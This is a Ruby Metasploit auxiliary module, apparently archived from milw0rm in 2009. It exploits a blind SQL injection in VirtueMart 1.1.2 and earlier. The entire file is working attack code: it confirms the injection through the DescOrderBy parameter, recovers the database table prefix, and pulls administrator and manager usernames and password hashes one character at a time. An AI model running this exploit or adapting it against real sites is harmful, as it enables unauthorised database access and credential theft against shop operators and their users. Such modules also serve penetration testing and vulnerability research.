require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
'Description' => %q{
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
},
'Author' => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[
['BID', '33480'],
['URL', 'http://www.waraxe.us/advisory-71.html'],
['URL', 'http://secunia.com/advisories/33671/']
],
'DisclosureDate' => 'Jan 24 2009'))
register_options(
[
OptString.new('URI', [false, 'Path to VirtueMart', '']),
OptInt.new('TARGETID', [false, 'Target ID (optional)']),
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]),
OptBool.new('ALLA', [ false, 'Fetch all Admins', false]),
OptBool.new('ALLM', [ false, 'Fetch all Managers', false]),
], self.class)
end
def run
@marker = 'name="addtocart"'
@target_uri = '/' + datastore['URI'] + '/'
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
@target_id = datastore['TARGETID']
@target_prefix = datastore['PREFIX']
@requests = @fetched = 0
time_start = Time.now.to_i
# debug_level=2 - more debug messages, 1 - less
@debug_level = 1
if(!pre_test)
print_error('Exploit failed in pre-test phase')
return
end
if(datastore['ALLSA'])
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end
if(datastore['ALLA'])
if(!get_users(2))
print_error('Exploit failed fetching Admins')
return
end
end
if(datastore['ALLM'])
if(!get_users(3))
print_error('Exploit failed fetching Managers')
return
end
end
if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end
if(@target_id > 1)
if(!get_user())
print_error("Exploit failed fetching user with ID=#{@target_id}")
return
end
end
time_spent = Time.now.to_i - time_start
print_status("Exploitation results:")
print_status("Got data for #{@fetched} users")
print_status("Total time spent: #{time_spent} seconds")
print_status("HTTP requests needed: #{@requests}")
end
############################################################
def make_post(post_data)
timeout = 30
begin
res = send_request_cgi({
'uri' => @target_uri,
'method' => 'POST',
'data' => post_data,
}, timeout)
if(res and res.body)
@requests += 1
return res.body
else
print_error('No response from server')
return nil
end
rescue ::Exception
print_error("Error: #{$!.class} #{$!}")
return nil
end
end
############################################################
def test_condition(condition)
max_tries = 10
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
1.upto(max_tries) do |i|
buf = make_post(post_data)
if(buf)
return buf.include?(@marker)
else
print_status("Sleeping #{i} seconds")
sleep(i)
print_status("Awake, retry ##{i}")
end
end
return nil
end
############################################################
def pre_test
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 1 failed - VirtueMart not detected')
return false
else
print_status('Pre-test 1 passed - VirtueMart detected')
end
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
buf = make_post(post_data) or return false
if(buf.include?(@marker))
print_error('Pre-test 2 failed - target is patched?')
return false
else
print_status('Pre-test 2 passed - injection detected')
end
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 3 failed - subselects not supported?')
return false
else
print_status('Pre-test 3 passed - subselects supported')
end
if(@target_prefix == '')
print_status('Prefix not provided, trying to fetch')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
end
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 4 failed - wrong prefix?')
print_status('Trying to fetch valid prefix')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
else
print_status('Pre-test 4 passed - prefix OK')
end
return true
end
############################################################
def get_char(pattern, min, max)
num = get_num(pattern, min, max) or return nil
return num.chr
end
############################################################
def get_hash(group = nil, u_pos = nil)
hash = ''
if(group and u_pos)
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
p_len = get_num(pattern, 32, 100) or return nil
print_status("Got hash length: #{p_len.to_s}")
1.upto(p_len) do |pos|
print_status("Finding hash char pos #{pos}") if @debug_level > 0
if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
c = get_char(pattern, 32, 128) or return nil
hash << c
print_status("Known: #{hash}") if @debug_level > 0
end
return hash
end
############################################################
def get_prefix
prefix = ''
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
return false
else
print_status('INFORMATION_SCHEMA detected, proceed')
end
pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'
p_len = get_num(pattern, 5, 100) or return nil
p_len -= 10
if(p_len < 0)
print_error("Invalid prefix length: #{p_len.to_s}")
return false
elsif(p_len == 0)
print_status('Prefix seems to be empty')
@target_prefix = ''
return true
else
print_status("Got prefix length: #{p_len.to_s}")
end
1.upto(p_len) do |pos|
print_status("Finding prefix char pos #{pos}") if @debug_level > 0
pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"
c = get_char(pattern, 32, 128) or return nil
prefix << c
print_status("Known: #{prefix}") if @debug_level > 0
end
return prefix
end
############################################################
def get_num(pattern, min = 1, max = 100)
curr = 0;
while(1)
area = max - min
if(area < 2 )
post_data = "#{pattern}=#{max}"
eq = test_condition(post_data)
if(eq == nil)
return nil
elsif(eq)
len = max
else
len = min
end
break
end
half = area / 2
curr = min + half
post_data = "#{pattern}>#{curr}"
bigger = test_condition(post_data)
if(bigger == nil)
return nil
elsif(bigger)
min = curr
else
max = curr
end
print_status("Current: #{min}-#{max}") if @debug_level > 1
end
return len
end
############################################################
def get_username(group = nil, u_pos = nil)
username = ''
if(group and u_pos)
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
u_len = get_num(pattern, 1, 150) or return nil
print_status("Got username length: #{u_len.to_s}")
1.upto(u_len) do |pos|
print_status("Finding username char pos #{pos}") if @debug_level > 0
if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
c = get_char(pattern, 32, 128) or return nil
username << c
print_status("Known: #{username}") if @debug_level > 0
end
return username
end
############################################################
def get_users(group)
if(group == 1)
usertype = '0x53757065722041646d696e6973747261746f72'
print_status('Starting to fetch all Super Admins')
elsif(group == 2)
usertype = '0x41646d696e6973747261746f72'
print_status('Starting to fetch all Admins')
else
usertype = '0x4d616e61676572'
print_status('Starting to fetch all Managers')
end
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"
u_cnt = get_num(pattern, 0, 100) or return nil
print_status("Targets to fetch: #{u_cnt.to_s}")
0.upto(u_cnt - 1) do |pos|
print_status("Fetching user pos #{pos}")
username = get_username(usertype, pos) or return nil
hash = get_hash(usertype, pos) or return nil
@fetched += 1
print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)
end
return true
end
############################################################
def get_user
print_status("Testing user ID=#{@target_id}")
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
u_cnt = get_num(pattern, 0, 100) or return nil
if(u_cnt != 1)
print_error("No user with ID=#{@target_id}")
return true
end
print_status("Working with user ID=#{@target_id}")
username = get_username or return nil
hash = get_hash or return nil
@fetched += 1
print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)
return true
end
############################################################
end
# milw0rm.com [2009-03-31]